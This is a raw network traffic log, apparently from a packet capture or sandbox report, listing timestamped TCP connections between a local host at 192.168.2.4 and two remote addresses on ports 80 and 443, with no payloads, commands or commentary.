Sep 27, 2024 17:42:04.230479002 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230514050 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230564117 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230575085 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230585098 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230598927 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230606079 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230609894 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230621099 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230632067 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230642080 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230643034 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230686903 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230907917 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230918884 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230928898 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230938911 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230948925 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230950117 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230958939 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230969906 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230979919 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.230987072 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.230989933 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.231028080 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.231044054 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.231122017 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.231132030 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.231144905 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.231161118 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.231183052 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.264982939 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265017986 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265069962 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265099049 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.265103102 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265152931 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265167952 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.265203953 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.265221119 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265254021 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265265942 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.265299082 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.265300989 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265331984 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265343904 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.265363932 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265373945 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.265398026 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265408993 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.265430927 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265440941 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.265464067 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.265474081 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.265511990 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.942796946 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.943214893 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:05.047447920 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:05.047992945 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:05.048221111 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:05.048675060 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:05.050074100 CEST	49739	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:05.050112963 CEST	443	49739	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:05.050189018 CEST	49739	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:05.050443888 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:05.051907063 CEST	49739	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:05.051918983 CEST	443	49739	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:05.055258036 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:05.513871908 CEST	443	49739	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:05.514197111 CEST	49739	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:05.515856028 CEST	49739	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:05.515866995 CEST	443	49739	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:05.516182899 CEST	443	49739	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:05.570457935 CEST	49739	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:05.615396976 CEST	443	49739	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:05.763284922 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:05.763405085 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:05.879462004 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:05.879822969 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:05.884676933 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:05.884809017 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:05.884915113 CEST	80	49740	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:05.885025024 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:05.885186911 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:05.890058041 CEST	80	49740	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:05.947041988 CEST	443	49739	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:05.947135925 CEST	443	49739	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:05.947376966 CEST	49739	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:05.949007988 CEST	49739	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:05.949007988 CEST	49739	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:05.949023962 CEST	443	49739	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:05.949033976 CEST	443	49739	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:06.189908028 CEST	49743	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:06.189975023 CEST	443	49743	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:06.190421104 CEST	49743	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:06.210959911 CEST	49743	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:06.210988045 CEST	443	49743	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:06.584541082 CEST	80	49740	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:06.585270882 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:06.586177111 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:06.590985060 CEST	80	49740	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:06.671725988 CEST	443	49743	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:06.671833992 CEST	49743	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:06.673347950 CEST	49743	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:06.673358917 CEST	443	49743	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:06.673600912 CEST	443	49743	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:06.677253008 CEST	49743	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:06.719412088 CEST	443	49743	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:06.810822010 CEST	80	49740	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:06.812407017 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:06.926384926 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:06.926753044 CEST	49744	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:06.931606054 CEST	80	49744	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:06.931714058 CEST	49744	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:06.931754112 CEST	80	49740	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:06.931806087 CEST	49740	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:06.931915045 CEST	49744	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:06.936759949 CEST	80	49744	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:07.081496954 CEST	443	49743	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:07.081587076 CEST	443	49743	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:07.081625938 CEST	49743	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:07.105959892 CEST	49743	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:07.105998039 CEST	443	49743	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:07.727390051 CEST	49745	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:07.727426052 CEST	443	49745	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:07.727494955 CEST	49745	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:07.727813959 CEST	49745	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:07.727827072 CEST	443	49745	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:07.959161997 CEST	80	49744	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:07.959292889 CEST	49744	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:07.959450960 CEST	80	49744	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:07.959506035 CEST	49744	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:07.960340977 CEST	49744	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:07.965157986 CEST	80	49744	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:08.188471079 CEST	80	49744	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:08.188548088 CEST	49744	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:08.301542044 CEST	49744	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:08.302011013 CEST	49746	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:08.306701899 CEST	80	49744	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:08.306752920 CEST	49744	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:08.306952000 CEST	80	49746	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:08.307816029 CEST	49746	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:08.307951927 CEST	49746	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:08.312736034 CEST	80	49746	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:08.557631016 CEST	49747	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:08.557676077 CEST	443	49747	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:08.557846069 CEST	49747	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:08.558794975 CEST	49747	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:08.558806896 CEST	443	49747	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:08.607711077 CEST	443	49745	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:08.607916117 CEST	49745	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:08.612077951 CEST	49745	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:08.612095118 CEST	443	49745	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:08.612329960 CEST	443	49745	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:08.615988970 CEST	49745	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:08.663403988 CEST	443	49745	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.008563042 CEST	443	49745	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.008663893 CEST	443	49745	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.008848906 CEST	49745	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.008948088 CEST	49745	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.008965969 CEST	443	49745	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.008976936 CEST	49745	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.008982897 CEST	443	49745	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.083329916 CEST	80	49746	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:09.083419085 CEST	49746	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:09.084280968 CEST	49746	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:09.089160919 CEST	80	49746	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:09.273073912 CEST	49748	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.273176908 CEST	443	49748	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.273345947 CEST	49748	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.273824930 CEST	49748	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.273859978 CEST	443	49748	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.278522015 CEST	443	49747	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.278610945 CEST	49747	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.279870033 CEST	49747	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.279881001 CEST	443	49747	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.280615091 CEST	443	49747	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.331969023 CEST	49747	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.336458921 CEST	49747	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.383395910 CEST	443	49747	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.436841965 CEST	80	49746	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:09.437370062 CEST	49746	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:09.551948071 CEST	49746	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:09.552433014 CEST	49749	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:09.557162046 CEST	80	49746	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:09.557219028 CEST	80	49749	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:09.557277918 CEST	49746	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:09.557326078 CEST	49749	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:09.557512045 CEST	49749	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:09.562453032 CEST	80	49749	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:09.801073074 CEST	443	49747	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.801171064 CEST	443	49747	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.801282883 CEST	49747	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.801671028 CEST	49747	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.801688910 CEST	443	49747	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.801707983 CEST	49747	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.801713943 CEST	443	49747	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.886650085 CEST	443	49748	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.886718988 CEST	49748	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.887978077 CEST	49748	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.887989044 CEST	443	49748	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.888216972 CEST	443	49748	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:09.888995886 CEST	49748	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:09.931396961 CEST	443	49748	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:10.279664040 CEST	80	49749	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:10.279872894 CEST	49749	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:10.280847073 CEST	49749	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:10.285649061 CEST	80	49749	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:10.301048040 CEST	443	49748	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:10.301175117 CEST	443	49748	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:10.301229954 CEST	49748	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:10.301434040 CEST	49748	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:10.301456928 CEST	443	49748	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:10.301470041 CEST	49748	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:10.301476955 CEST	443	49748	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:10.351502895 CEST	49750	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:10.351547003 CEST	443	49750	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:10.351651907 CEST	49750	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:10.351938963 CEST	49750	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:10.351954937 CEST	443	49750	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:10.503495932 CEST	80	49749	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:10.503616095 CEST	49749	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:10.570658922 CEST	49751	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:10.570749044 CEST	443	49751	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:10.570888996 CEST	49751	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:10.571336031 CEST	49751	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:10.571372032 CEST	443	49751	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:10.613981962 CEST	49749	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:10.614403009 CEST	49752	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:10.619128942 CEST	80	49749	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:10.619209051 CEST	80	49752	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:10.619278908 CEST	49749	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:10.619343042 CEST	49752	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:10.619585037 CEST	49752	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:10.624391079 CEST	80	49752	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:11.078628063 CEST	443	49750	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.078784943 CEST	49750	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.079339027 CEST	443	49751	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.079457045 CEST	49751	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.080375910 CEST	49750	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.080383062 CEST	443	49750	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.080630064 CEST	443	49750	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.080696106 CEST	49751	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.080725908 CEST	443	49751	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.080986977 CEST	443	49751	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.081482887 CEST	49750	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.082269907 CEST	49751	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.127398014 CEST	443	49750	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.127413034 CEST	443	49751	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.326113939 CEST	80	49752	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:11.327188015 CEST	49752	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:11.327959061 CEST	49752	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:11.332696915 CEST	80	49752	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:11.511985064 CEST	443	49750	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.512085915 CEST	443	49750	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.512238979 CEST	49750	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.512315035 CEST	49750	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.512334108 CEST	443	49750	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.512343884 CEST	49750	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.512348890 CEST	443	49750	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.533917904 CEST	443	49751	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.534322977 CEST	443	49751	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.534408092 CEST	49751	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.534616947 CEST	49751	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.534668922 CEST	443	49751	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.534698009 CEST	49751	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.534714937 CEST	443	49751	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.552459955 CEST	80	49752	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:11.552539110 CEST	49752	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:11.663760900 CEST	49752	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:11.664094925 CEST	49753	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:11.668834925 CEST	80	49752	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:11.668909073 CEST	49752	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:11.669300079 CEST	80	49753	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:11.669580936 CEST	49753	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:11.669706106 CEST	49753	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:11.674562931 CEST	80	49753	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:11.882395983 CEST	49754	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.882430077 CEST	443	49754	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.882528067 CEST	49754	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.882877111 CEST	49754	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.882890940 CEST	443	49754	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.883433104 CEST	49755	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.883455038 CEST	443	49755	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:11.883527040 CEST	49755	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.883918047 CEST	49755	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:11.883930922 CEST	443	49755	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.362951994 CEST	443	49754	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.363100052 CEST	49754	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.364629984 CEST	49754	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.364639997 CEST	443	49754	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.364877939 CEST	443	49754	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.365633965 CEST	49754	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.371072054 CEST	443	49755	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.371164083 CEST	49755	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.372452974 CEST	49755	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.372462034 CEST	443	49755	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.373003006 CEST	443	49755	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.373943090 CEST	49755	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.404237032 CEST	80	49753	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:12.405283928 CEST	49753	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:12.408096075 CEST	49753	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:12.411406040 CEST	443	49754	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.412925959 CEST	80	49753	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:12.419404984 CEST	443	49755	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.636272907 CEST	80	49753	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:12.636476040 CEST	49753	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:12.739285946 CEST	49753	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:12.739681005 CEST	49756	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:12.745481014 CEST	80	49756	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:12.745692015 CEST	49756	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:12.745692015 CEST	49756	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:12.750518084 CEST	80	49756	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:12.754688978 CEST	80	49753	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:12.754761934 CEST	49753	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:12.799081087 CEST	443	49754	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.799207926 CEST	443	49754	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.799408913 CEST	49754	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.799500942 CEST	49754	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.799515963 CEST	443	49754	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.799541950 CEST	49754	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.799547911 CEST	443	49754	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.820492029 CEST	443	49755	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.820576906 CEST	443	49755	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.820708990 CEST	49755	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.820800066 CEST	49755	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.820813894 CEST	443	49755	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:12.820827961 CEST	49755	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:12.820832968 CEST	443	49755	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.133387089 CEST	49757	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:13.133430004 CEST	443	49757	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.133497000 CEST	49757	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:13.133933067 CEST	49757	443	192.168.2.4	172.67.187.100
